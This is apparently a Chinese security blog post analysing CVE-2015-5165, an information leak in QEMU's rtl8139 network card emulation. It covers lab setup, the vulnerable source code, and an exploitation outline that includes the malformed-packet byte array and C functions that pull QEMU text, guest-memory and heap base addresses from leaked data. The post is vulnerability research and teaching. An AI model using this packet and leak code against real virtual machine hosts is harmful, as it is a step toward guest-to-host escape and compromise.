qemu-pwn-cve-2015-5165 信息泄露漏洞分析

作者:raycp

原文来自安全客:https://www.anquanke.com/post/id/197637

CVE-2015-5165及CVE-2015-7504,很经典的一个qemu逃逸漏洞,想通过它来学习qemu的cve。篇幅的原因,先分析CVE-2015-5165。

环境搭建

首先是编译qemu:

git clone git://git.qemu-project.org/qemu.git

cd qemu

git checkout bd80b59

mkdir -p bin/debug/naive

cd bin/debug/naive

../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror

make

qemu的路径在./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64--enable-debug保留了调试符号,可以源代码调试,很舒服。

接着是制作qemu虚拟机,包括两个部分一个是文件系统镜像,一个是内核。

可以使用debootstrap制作debian文件系统镜像。

安装debootstrap

sudo apt-get install debootstrap

参考create-image.sh制作了一个2GB大小的rootfs.img镜像文件。

mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,\

libc6-dev,time,strace,sudo,less,psmisc,\

selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \

stretch rootfs

set -eux

# Set some defaults and enable promtless ssh to the machine for root.

sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd

echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab

#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces

printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces

echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab

echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf

echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf

echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf

echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf

echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf

echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts

echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf

echo "ubuntu" | sudo tee rootfs/etc/hostname

sudo mkdir -p rootfs/root/.ssh/

rm -rf ssh

mkdir -p ssh

ssh-keygen -f ssh/id_rsa -t rsa -N ''

cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

# Build a disk image

dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1

sudo mkfs.ext4 -F rootfs.img

sudo mkdir -p /mnt/rootfs

sudo mount -o loop rootfs.img /mnt/rootfs

sudo cp -a rootfs/. /mnt/rootfs/.

sudo umount /mnt/rootfs

然后是编译内核,对应的内核文件路径为./linux-5.2.11/arch/x86/boot/bzImage

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz

tar -xvf linux-5.2.11.tar.xz

make defconfig

make kvmconfig

#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开

make -j4

要确保下面两个配置选项是打开的, 否则系统启动的时候会出现发现启动网卡的错误,因为对应的网卡驱动没有编译进去。

CONFIG_8139CP=y  , rtl8139 驱动

CONFIG_PCNET32=y , pcnet 驱动

然后使用下面的launch.sh就可以启动虚拟机了,因为将22端口转发到了本地的10021端口,所以可以通过ssh -i ./ssh/id_rsa -p 10021 root@localhost,登进去虚拟机对虚拟机进行管理,以及通过scp传递文件。

$ cat launch.sh

#!/bin/sh

./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \

-kernel ./linux-5.2.11/arch/x86/boot/bzImage \

-append "console=ttyS0 root=/dev/sda rw" \

-hda ./rootfs.img \

-enable-kvm -m 2G -nographic \

-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \

-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \

-net user,hostfwd=tcp::10021-:22 -net nic

漏洞分析

在开始漏洞分析之前需要先介绍下rtl8139的部分寄存器,与漏洞相关部分如下:

            +---------------------------+----------------------------+

0x00 | MAC0 | MAR0 |

+---------------------------+----------------------------+

0x10 | TxStatus0 |

+--------------------------------------------------------+

0x20 | TxAddr0 |

+-------------------+-------+----------------------------+

0x30 | RxBuf |ChipCmd| |

+-------------+------+------+----------------------------+

0x40 | TxConfig | RxConfig | ... |

+-------------+-------------+----------------------------+

| |

| skipping irrelevant registers |

| |

+---------------------------+--+------+------------------+

0xd0 | ... | |TxPoll| ... |

+-------+------+------------+--+------+--+---------------+

0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |

+-------+------+------------+------------+---------------+

其在qemu中对应的结构体为RTL8139State,其中比较关键的部分如下:

  • TxConfig:开启/关闭Tx的标记,包括TxLoopBack (开启loopback测试模式)以及TxCRC (Tx包是否添加校验码)。
  • RxConfig:开启/关闭Rx的标记,比如AcceptBroadcast(接收广播包), AcceptMulticast(接收组播包)等。
  • CpCmd:C+指令寄存器用来执行一些函数,比如 CplusRxEnd(允许接收),CplusTxEnd(允许发送)等。
  • TxAddr0:Tx表的物理内存地址。
  • RxRingAddrLO:Rx表的物理内存地址的低32位。
  • RxRingAddrHI:Rx表的物理内存地址的高32位。
  • TxPoll:告诉网卡检查Tx缓冲区。

经过对代码的学习,知道了Tx缓冲区是网卡的发送数据缓冲区,而Rx缓冲区则是接收数据缓冲区。Tx表以及Rx表为一个16字节结构体大小的数组,该表中的rtl8139_desc包含缓冲区的具体位置,定义如下:

struct rtl8139_ring {

struct rtl8139_desc *desc;

void *buffer;

};

其中Rx/Tx-descriptor定义如下,dw0中包含一些标志位,buf_lobuf_hi表示Tx/Rx缓冲的物理内存地址的低32位和高32位,这些地址指向存储要发送/接收的包的缓冲区,必须与页面大小对齐:

struct rtl8139_desc {

uint32_t dw0;

uint32_t dw1;

uint32_t buf_lo;

uint32_t buf_hi;

};

rtl8139网卡对应的文件在/hw/net/rtl8139.c中,首先是漏洞关键部分代码,在函数rtl8139_cplus_transmit_one中,该函数更多的是和tx寄存器相关,发送的数据是Tx缓冲区中的数据(可控),检查的相关标志位为txdw0:

        uint8_t *saved_buffer  = s->cplus_txbuffer;

int saved_size = s->cplus_txbuffer_offset;

int saved_buffer_len = s->cplus_txbuffer_len;

...

if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))

{

DPRINTF("+++ C+ mode offloaded task checksum\n");

/* ip packet header */

ip_header *ip = NULL;

int hlen = 0;

uint8_t ip_protocol = 0;

uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;

size_t eth_payload_len = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));

if (proto == ETH_P_IP)

{

DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */

eth_payload_data = saved_buffer + ETH_HLEN;

eth_payload_len = saved_size - ETH_HLEN;

ip = (ip_header*)eth_payload_data;

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {

DPRINTF("+++ C+ mode packet has bad IP version %d "

"expected %d\n", IP_HEADER_VERSION(ip),

IP_HEADER_VERSION_4);

ip = NULL;

} else {

hlen = IP_HEADER_LENGTH(ip);

ip_protocol = ip->ip_p;

ip_data_len = be16_to_cpu(ip->ip_len) - hlen;

}

}

漏洞的关键代码为ip_data_len = be16_to_cpu(ip->ip_len) - hlen,没有对ip->ip_len的长度以及hlen进行检查,hlen为20,当be16_to_cpu(ip->ip_len)小于20时,会导致ip_data_len为负数。因为ip_data_len的变量类型为uint16_t,所以会在最后发送ip数据包时将负数当成正数来发送,导致多余的数据泄露出来。

下面先看当ip_data_len为负数时,数据时如何泄露出来的,关键代码如下:

                    ...

/* pointer to TCP header */

tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

/* ETH_MTU = ip header len + tcp header len + payload */

int tcp_data_len = ip_data_len - tcp_hlen;

int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

...

/* note the cycle below overwrites IP header data,

but restores it from saved_ip_header before sending packet */

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)

{

uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */

if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)

{

is_last_frame = 1;

chunk_size = tcp_data_len - tcp_send_offset;

}

...

if (tcp_send_offset)

{

memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);

}

...

rtl8139_transfer_frame(s, saved_buffer, tso_send_size,

0, (uint8_t *) dot1q_buffer);

可以看到因为eth包最大的发包长度有限,所以会将tcp数据按长度进行切割,每次发送固定长度的数据包,因为ip_data_len已经被覆盖成了负数(最大可为65535),因此后面的代码memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);会将p_tcp_hdr正常的数据以外的额外的数据拷贝出来,通过rtl8139_transfer_frame发送出去。

再看rtl8139_transfer_frame函数,当Tx寄存器包含TxLoopBack标志位时,程序会调用rtl8139_do_receive函数降数据回发送回给自己:

static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,

int do_interrupt, const uint8_t *dot1q_buf)

{

...

if (TxLoopBack == (s->TxConfig & TxLoopBack))

{

...

DPRINTF("+++ transmit loopback mode\n");

rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);

...

}

}

...

}

去看rtl8139_do_receive函数,当发送包(buf)的目标mac地址与网卡的地址一致且Rx寄存器标志位包含AcceptMyPhys标志时,会将发送出来的数据保存到相应的Rx缓冲区中,对应的代码为pci_dma_write(d, rx_addr, buf, size)rx_addr为相应的Rx-descriptorbuf_LObuf_HI组成的物理地址:

static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)

{

...

/* XXX: check this */

if (s->RxConfig & AcceptAllPhys) {

/* promiscuous: receive all */

...

} else {

...

//发送包的目标mac地址与网卡地址对比

} else if (s->phys[0] == buf[0] &&

s->phys[1] == buf[1] &&

s->phys[2] == buf[2] &&

s->phys[3] == buf[3] &&

s->phys[4] == buf[4] &&

s->phys[5] == buf[5]) {

/* match */

if (!(s->RxConfig & AcceptMyPhys))

{

DPRINTF(">>> rejecting physical address matching packet\n");

/* update tally counter */

++s->tally_counters.RxERR;

return size;

}

...

}

}

...

if (rtl8139_cp_receiver_enabled(s))

{

if (!rtl8139_cp_rx_valid(s)) {

return size;

}

DPRINTF("in C+ Rx mode ================\n");

...

int descriptor = s->currCPlusRxDesc;

dma_addr_t cplus_rx_ring_desc;

cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);

cplus_rx_ring_desc += 16 * descriptor;

DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "

"%08x %08x = "DMA_ADDR_FMT"\n", descriptor, s->RxRingAddrHI,

s->RxRingAddrLO, cplus_rx_ring_desc);

uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;

pci_dma_read(d, cplus_rx_ring_desc, &val, 4);

rxdw0 = le32_to_cpu(val);

pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);

rxdw1 = le32_to_cpu(val);

pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);

rxbufLO = le32_to_cpu(val);

pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);

rxbufHI = le32_to_cpu(val);

DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08x\n",

descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);

if (!(rxdw0 & CP_RX_OWN))

{

...

}

uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;

...

dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);

/* receive/copy to target memory */

if (dot1q_buf) {

...

} else {

pci_dma_write(d, rx_addr, buf, size);

}

...

}

到此漏洞的原理可以大致弄清楚了:tx缓冲区中包含了要发送的数据包,在发送的过程中,因为没有对ip->ip_len进行检查,导致程序判定tcp的数据包长度超出了原有的长度,因此会将数据包进行切割将数据发送出去,导致了非预期的信息泄露;同时当Tx标志位包含TxLoopBack时,会将数据包发送给自己的网卡并且发送数据的mac地址为自身网卡以及rx标志位包含AcceptAllPhys时会将相应的数据保存到rx缓冲区中,因此构造好相应的数据我们就可以从rx缓冲区的数据中读取到信息泄露的数据。

流程分析

弄清楚了漏洞原理后,想进一步分析看如何才能够构造好相应的网卡以及触发漏洞,因此对该网卡进行一定的分析。

apt-get install pciutils安装lspci工具,然后查看pci设备:

root@ubuntu:~# lspci

...

00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)

root@ubuntu:~# lspci -v -s 00:04.0

00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)

Subsystem: Red Hat, Inc QEMU Virtual Machine

Flags: bus master, fast devsel, latency 0, IRQ 11

I/O ports at c000 [size=256]

Memory at febf1000 (32-bit, non-prefetchable) [size=256]

Expansion ROM at feb40000 [disabled] [size=256K]

Kernel driver in use: 8139cp

lspci: Unable to load libkmod resources: error -12

pmio空间对应的端口地址为0xc000,大小为256。

再去看网卡的realize函数:

static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)

{

...

memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,

"rtl8139", 0x100);

...

}

可以看到pmio对应的操作为rtl8139_io_ops,其定义如下:

static const MemoryRegionOps rtl8139_io_ops = {

.read = rtl8139_ioport_read,

.write = rtl8139_ioport_write,

.impl = {

.min_access_size = 1,

.max_access_size = 4,

},

.endianness = DEVICE_LITTLE_ENDIAN,

};

要设置网卡更多的关键为rtl8139_ioport_write,根据size的大小分成了writebwritew以及writel函数,每个函数中根据addr可以设置网卡相应寄存器的值:

static void rtl8139_ioport_write(void *opaque, hwaddr addr,

uint64_t val, unsigned size)

{

switch (size) {

case 1:

rtl8139_io_writeb(opaque, addr, val);

break;

case 2:

rtl8139_io_writew(opaque, addr, val);

break;

case 4:

rtl8139_io_writel(opaque, addr, val);

break;

}

}

然后去看漏洞函数调用路径,寻找如何触发漏洞。

漏洞函数为rtl8139_cplus_transmit_one,查看它的引用:

static void rtl8139_cplus_transmit(RTL8139State *s)

{

int txcount = 0;

while (rtl8139_cplus_transmit_one(s))

{

++txcount;

}

...

}

再看rtl8139_cplus_transmit的引用:

static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)

{

...

switch (addr)

{

...

case TxPoll:

DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);

if (val & (1 << 7))

{

DPRINTF("C+ TxPoll high priority transmission (not "

"implemented)\n");

//rtl8139_cplus_transmit(s);

}

if (val & (1 << 6))

{

DPRINTF("C+ TxPoll normal priority transmission\n");

rtl8139_cplus_transmit(s);

}

break;

...

}

}

可以看到rtl8139_io_writeb函数调用了rtl8139_cplus_transmit函数,当addr为TxPoll且value为1<<6时,触发对rtl8139_cplus_transmi函数,也就对应上了前面说的TxPoll的功能为告诉网卡检查Tx缓冲区。

还有一些寄存器的设置,包括Tx/Rx 表的设置以及Tx/RxConfig寄存器的设置,也都可以相应的在rtl8139_ioport_write函数中找到对应的配置。

漏洞利用

利用包含五个部分:

  • 恶意网卡发送数据包的构造
  • 网卡寄存器的配置
  • 网卡发送缓冲区的配置
  • 网卡接收缓冲区的配置
  • 泄露信息的分析

首先是恶意网卡发送数据包的构造,rtl8139_cplus_transmit_one函数中处理的数据是Tx发送缓冲区中的数据。一个数据包是以太网帧,其相关格式如下:

比较关键的点在于目的地址,因为后面会判断mac地址与自身mac地址是否相等,因此需要将目的地址设置成网卡的mac地址52:54:00:12:34:57

root@ubuntu:~# ifconfig -a

...

enp0s4: flags=4098<BROADCAST,MULTICAST> mtu 1500

ether 52:54:00:12:34:57 txqueuelen 1000 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

还需要将类型设置成0x0800即IP包。

下一层数据包为IP数据包格式,格式如下:

在这个包中需要构造的就是16位总长度了,#define IP_HEADER_LENGTH(ip) (((ip->ip_ver_len)&0xf) << 2)的长度为5<<2是20,因此需要构造ip->ip_len长度为19(0x13),实现了漏洞构造ip_data_len0xffff

hlen = IP_HEADER_LENGTH(ip);

ip_protocol = ip->ip_p;

ip_data_len = be16_to_cpu(ip->ip_len) - hlen;

最后是一个tcp数据包,tcp数据包没有什么需要特别构造的,正常构造即可。

最后构造出来的packet数据如下:

/* malformed ip packet with corrupted header size */

uint8_t malformed_eth_packet[]={

0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 0x52, 0x54, 0x00, 0x12, 0x34, 0x57, // 6 bytes dst mac addr, 6 bytes src mac addr

0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00, 0x40, 0x06, // 2 bytes type, 0x0800 is ip, one byte (4 bits ip version, 4 bits ip header len), one bytes TOS, 2 bytes total len(0x0013, 0x13-0x5<<2=0xffff which will cause vuln), 2 bytes id, 2 bytes fragment offsets, one bytes ttl, one byte protocol(6 means IP protocol)

0xff, 0xff, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x04, 0x00, // 2 bytes checksum, 4 bytes src ip addr, 4 bytes dst ip addr, 2 bytes src port

0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x10, // 2 bytes dst port, 4 bytes serial number, 4 bytes ack number, 2 bytes len(4 bits tcp header len)

0x00, 0x00, 0xff, 0xff, 0x00, 0x00// 2 bytes window size, 2 bytes checksum, 2 bytes urge pointer

};

第二部分是网卡寄存器的配置,主要是为了能够成功触发漏洞与泄露信息,需要配置网卡。包括为了开启transmitter以及receiver,需要配置bChipCmdStateCmdTxEnb以及CmdRxEnb;为了开启cp_transmitter以及cp_receiver,需要配置CpCmdCPlusTxEnb以及CPlusRxEnb;还需要配置TxConfigTxLoopBack以及配置RxConfigAcceptMyPhys

第三部分则是配置Tx发送缓冲区,主要是配置TxAddr0,设置Tx表的地址。申请好空间,构造好Tx descriptor,将恶意网卡数据的地址填到相应的buf_LO以及buf_HI中。这两个地址都是需要相应的物理地址,需要实现虚拟地址到物理地址的转换。

第四部分是配置Rx接收缓冲区,主要是配置RxRingAddrLO以及RxRingAddrHI,设置Rx表的地址。因为泄露的信息约为64kb数据,需要申请44个Rx接收缓冲区来保存数据。

最后是信息泄露的分析,如何从泄露出来的数据得到包括程序的基址等有效的信息。可以像phrack文章中写的一样,通过二分法找到struct ObjectProperty结构体内存。参考了dangokyo的exp,通过比对泄露出来地址的低12位以及最高位可以确定出程序基址。

typedef struct ObjectProperty

{

gchar *name;

gchar *type;

gchar *description;

ObjectPropertyAccessor *get;

ObjectPropertyAccessor *set;

ObjectPropertyResolve *resolve;

ObjectPropertyRelease *release;

void *opaque;

QTAILQ_ENTRY(ObjectProperty) node;

} ObjectProperty;

uint64_t qemu_search_text_base(void* ptr, size_t size)

{

size_t i;

uint64_t property_get_bool_offset = 0x36bacd;

uint64_t *int_ptr, addr, text_base =0;

for (i=0; i<size-8; i+=8) {

int_ptr=(uint64_t*)(ptr+i);

addr=*int_ptr;

if( ((addr & 0xfffff00000000000) == 0x500000000000)

&& (( (addr - property_get_bool_offset) & 0xfff ) == 0) )

{

text_base = addr - property_get_bool_offset;

break;

}

}

return text_base;

}

同时还需要泄露qemu为虚拟机所分配的进程内存的地址,即下表的0x7f7a04000000

0x7f7a04000000     0x7f7a84000000 rw-p 80000000 0

0x7f7a84000000 0x7f7a8476e000 rw-p 76e000 0

经过分析,泄露出来的数据最高位为0x7的好像都为0x7f7a84000000内存块中的数据,因此可以通过偏移得到虚拟机物理内存所对应的地址PHY_MEM

uint64_t qemu_search_phy_base(void *ptr, size_t size)

{

size_t i;

uint64_t *int_ptr, addr, phy_base = 0;

for (i = 0; i < size-8; i += 8)

{

int_ptr = (uint64_t*)(ptr+i);

addr = *int_ptr;

if((addr & 0xfffff00000000000) == 0x700000000000)

{

addr = addr & 0xffffffffff000000;

phy_base = addr - 0x80000000;

break;

}

}

return phy_base;

}

最后是泄露heap的基址,我在里面找了一些堆的基址,通过偏移来确定来heap的地址。:

uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)

{

size_t i;

size_t j;

uint64_t *int_ptr, addr, heap_base = 0;

uint64_t target_offset[] = {0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8};

for (i = 0; i < size-8; i += 8)

{

int_ptr = (uint64_t*)(ptr+i);

addr = *int_ptr;

//printf("i: %d 0x%lx\n",i, addr);

if((addr & 0xffff00000000) == (text_base & 0xffff00000000) && addr!=0) {

if( (addr - text_base) > 0xd5c000) {

for(j = 0; j < sizeof(target_offset)/sizeof(int64_t); j++) {

if(((addr -target_offset[j])&0xfff) == 0) {

heap_base = addr - target_offset[j];

break;

}

}

}

}

if(heap_base != 0)

break;

}

return heap_base;

}

小结

真实的漏洞还是比之前ctf题目稍微复杂一些,调起来还是有收获。

相关文件以及脚本链接

参考链接

  1. 虚拟机逃逸——QEMU的案例分析(一)
  2. 虚拟机逃逸——QEMU的案例分析(二)
  3. 前往黑暗之门!Debugee in QEMU
  4. VM escape–QEMU Case Study
  5. QEMU escape: Part 3 Information Leakage (CVE-2015-5165)
  6. Setup: Ubuntu host, QEMU vm, x86-64 kernel

以上是 qemu-pwn-cve-2015-5165 信息泄露漏洞分析 的全部内容, 来源链接: utcz.com/p/199742.html

回到顶部